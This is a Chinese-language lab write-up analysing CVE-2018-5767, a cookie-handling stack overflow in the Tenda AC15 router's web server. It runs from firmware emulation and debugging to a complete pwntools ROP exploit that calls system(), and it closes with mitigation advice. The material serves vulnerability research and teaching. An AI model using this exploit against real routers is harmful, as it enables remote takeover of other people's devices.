cve-2018-5767 Tenda AC15 栈溢出漏洞调试
字数 1326 2025-08-22 12:22:48

CVE-2018-5767 Tenda AC15 栈溢出漏洞分析与利用

漏洞概述

CVE-2018-5767是Tenda AC15路由器中的一个栈溢出漏洞,存在于其HTTP服务组件中。该漏洞源于GoAhead Web服务器框架在处理HTTP请求时的Cookie参数验证不足,导致攻击者可以通过构造特制的HTTP请求触发栈溢出,进而实现远程代码执行。

环境准备

1. 获取漏洞固件

从Tenda官网下载含有漏洞的固件版本V15.03.1.16。

2. 解压固件

使用binwalk工具解压固件:

binwalk -Me firmware.bin

解压后可在bin/目录下找到httpd程序。

3. 逆向分析工具

使用IDA Pro进行逆向分析,识别程序使用的框架和漏洞点。

漏洞分析

1. 框架识别

通过分析httpd程序,发现以下特征:

  • 存在websUrlHandlerDefine等函数
  • 字符串中包含"2.1.8"版本号

确定程序使用的是GoAhead 2.1.8框架。

2. 结构体定义

为方便逆向分析,需要定义以下关键结构体:

struct ringq_t {
    unsigned char *buf;    /* Holding buffer for data */
    unsigned char *servp;  /* Pointer to start of data */
    unsigned char *endp;   /* Pointer to end of data */
    unsigned char *endbuf; /* Pointer to end of buffer */
    int buflen;           /* Length of ring queue */
    int maxsize;          /* Maximum size */
    int increment;        /* Growth increment */
};

struct websRec {
    ringq_t header;        /* Header dynamic string */
    __time_t since;        /* Parsed if-modified-since time */
    char *cgiVars;        /* CGI standard variables */
    char *cgiQuery;       /* CGI decoded query string */
    __time_t timestamp;    /* Last transaction with browser */
    int timeout;          /* Timeout handle */
    char ipaddr[32];      /* Connecting ipaddress */
    char type[64];        /* Mime type */
    char *dir;            /* Directory containing the page */
    char *path;           /* Path name without query */
    char *url;            /* Full request url */
    char *host;           /* Requested host */
    char *lpath;          /* Cache local path name */
    char *query;          /* Request query */
    char *decodedQuery;   /* Decoded request query */
    char *authType;       /* Authorization type (Basic/DAA) */
    char *password;       /* Authorization password */
    char *userName;       /* Authorization username */
    char *cookie;         /* Cookie string */
    char *userAgent;      /* User agent (browser) */
    char *protocol;       /* Protocol (normally HTTP) */
    char *protoVersion;   /* Protocol version */
    int sid;              /* Socket id (handler) */
    int listenSid;        /* Listen Socket id */
    int port;             /* Request port number */
    int state;            /* Current state */
    int flags;            /* Current flags -- see above */
    int code;             /* Request result code */
    int clen;             /* Content length */
    int wid;              /* Index into webs */
    char *cgiStdin;       /* filename for CGI stdin */
    int docfd;            /* Document file descriptor */
    int numbytes;         /* Bytes to transfer to browser */
    int written;          /* Bytes actually transferred */
    void (*writeSocket)(struct websRec *wp);
};

3. 漏洞定位

漏洞位于R7WebsSecurityHandler函数中,具体问题在于:

  • 使用sscanf处理Cookie时未对长度进行限制
  • 导致栈缓冲区溢出

4. 触发条件

要触发漏洞需要满足以下条件:

  1. URL值不能为空
  2. URL不能为""
  3. URL长度不能是1
  4. URL不能是"index.html"

仿真环境搭建

1. 使用QEMU模拟

sudo chroot . ./qemu-arm-static ./bin/httpd

2. 绕过检查

程序可能会卡在check_network()ConnectCfm函数,需要patch掉:

  • 直接修改二进制文件绕过这些检查

3. 网络接口配置

程序会尝试获取br0网络接口的IP地址,解决方法:

  1. 方法一:patch程序将br0改为本地网卡(如ens160)
  2. 方法二:在本地创建桥接网卡br0

推荐使用方法二:

# 创建桥接网卡br0

4. 成功模拟

配置完成后,程序应正常启动并监听:

httpd listen ip = 192.168.5.179 port = 80
webs: Listening for HTTP requests at address 192.168.5.179

漏洞验证

1. 构造POC

import requests

ip = "192.168.5.179"
url = "http://%s/goform/execCommand" % ip
cookie = {"Cookir": "password=" + "A" * 501}
ret = requests.get(url=url, cookies=cookie)
print(ret.text)

2. 触发崩溃

运行POC后,程序应崩溃并产生segmentation fault:

[1] 16261 segmentation fault (core dumped) sudo chroot . ./qemu-arm-static ./httpd

漏洞利用

1. 调试设置

使用QEMU的-g参数开启调试:

sudo chroot . ./qemu-arm-static -g 1234 ./httpd

使用pwndbg连接调试:

gdb-multiarch -q ./httpd
target remote :1234

2. 绕过限制

发现程序在崩溃前会检查URL中的特定字符,需要绕过:

  • 在payload中包含".gif"等特征字符串

修改后的POC:

from pwn import *
import requests

ip = "192.168.5.179"
url = "http://%s/goform/execCommand" % ip
cookie = {"Cookir": "password=" + cyclic(500) + ".gifAAAAAAAAAAAAA"}
ret = requests.get(url=url, cookies=cookie)
print(ret.text)

3. 计算偏移

通过调试确定溢出偏移为444字节。

4. ROP链构造

在libc中寻找合适的gadget:

ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
ROPgadget --binary ./lib/libc.so.0 --only "pop"

找到关键gadget:

  • 0x00040cb8 : mov r0, sp ; blx r3
  • 0x00018298 : pop { r3, pc }

5. 最终EXP

from pwn import *
import requests

context.binary = "./httpd"
context.log_level = "debug"

libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]
libc_base_addr = 0xf65e5000
system_addr = libc_base_addr + system_offset

ip = "192.168.5.179"
url = "http://%s/goform/execCommand" % ip
cookie = {
    "Cookir": "password=" + cyclic(444) + ".gif" + 
    flat(libc_base_addr + 0x00018298, system_addr, libc_base_addr + 0x00040cb8) + 
    "touch ./abcd"
}

ret = requests.get(url=url, cookies=cookie)
print(ret.text)

总结

  1. 漏洞成因:GoAhead框架处理Cookie时未进行长度检查导致栈溢出
  2. 利用条件:需要发送特制的HTTP请求到/goform/execCommand路径
  3. 利用方法:通过ROP链实现任意命令执行
  4. 影响范围:Tenda AC15路由器特定固件版本

防护建议

  1. 升级到最新固件版本
  2. 对输入参数进行严格长度检查
  3. 启用栈保护机制(如Canary)
  4. 限制网络访问权限,仅允许可信IP访问管理界面
CVE-2018-5767 Tenda AC15 栈溢出漏洞分析与利用 漏洞概述 CVE-2018-5767是Tenda AC15路由器中的一个栈溢出漏洞,存在于其HTTP服务组件中。该漏洞源于GoAhead Web服务器框架在处理HTTP请求时的Cookie参数验证不足,导致攻击者可以通过构造特制的HTTP请求触发栈溢出,进而实现远程代码执行。 环境准备 1. 获取漏洞固件 从Tenda官网下载含有漏洞的固件版本V15.03.1.16。 2. 解压固件 使用 binwalk 工具解压固件: 解压后可在 bin/ 目录下找到 httpd 程序。 3. 逆向分析工具 使用IDA Pro进行逆向分析,识别程序使用的框架和漏洞点。 漏洞分析 1. 框架识别 通过分析 httpd 程序,发现以下特征: 存在 websUrlHandlerDefine 等函数 字符串中包含"2.1.8"版本号 确定程序使用的是GoAhead 2.1.8框架。 2. 结构体定义 为方便逆向分析,需要定义以下关键结构体: 3. 漏洞定位 漏洞位于 R7WebsSecurityHandler 函数中,具体问题在于: 使用 sscanf 处理Cookie时未对长度进行限制 导致栈缓冲区溢出 4. 触发条件 要触发漏洞需要满足以下条件: URL值不能为空 URL不能为"\" URL长度不能是1 URL不能是"index.html" 仿真环境搭建 1. 使用QEMU模拟 2. 绕过检查 程序可能会卡在 check_network() 和 ConnectCfm 函数,需要patch掉: 直接修改二进制文件绕过这些检查 3. 网络接口配置 程序会尝试获取 br0 网络接口的IP地址,解决方法: 方法一:patch程序将 br0 改为本地网卡(如ens160) 方法二:在本地创建桥接网卡 br0 推荐使用方法二: 4. 成功模拟 配置完成后,程序应正常启动并监听: 漏洞验证 1. 构造POC 2. 触发崩溃 运行POC后,程序应崩溃并产生segmentation fault: 漏洞利用 1. 调试设置 使用QEMU的-g参数开启调试: 使用pwndbg连接调试: 2. 绕过限制 发现程序在崩溃前会检查URL中的特定字符,需要绕过: 在payload中包含".gif"等特征字符串 修改后的POC: 3. 计算偏移 通过调试确定溢出偏移为444字节。 4. ROP链构造 在libc中寻找合适的gadget: 找到关键gadget: 0x00040cb8 : mov r0, sp ; blx r3 0x00018298 : pop { r3, pc } 5. 最终EXP 总结 漏洞成因:GoAhead框架处理Cookie时未进行长度检查导致栈溢出 利用条件:需要发送特制的HTTP请求到 /goform/execCommand 路径 利用方法:通过ROP链实现任意命令执行 影响范围:Tenda AC15路由器特定固件版本 防护建议 升级到最新固件版本 对输入参数进行严格长度检查 启用栈保护机制(如Canary) 限制网络访问权限,仅允许可信IP访问管理界面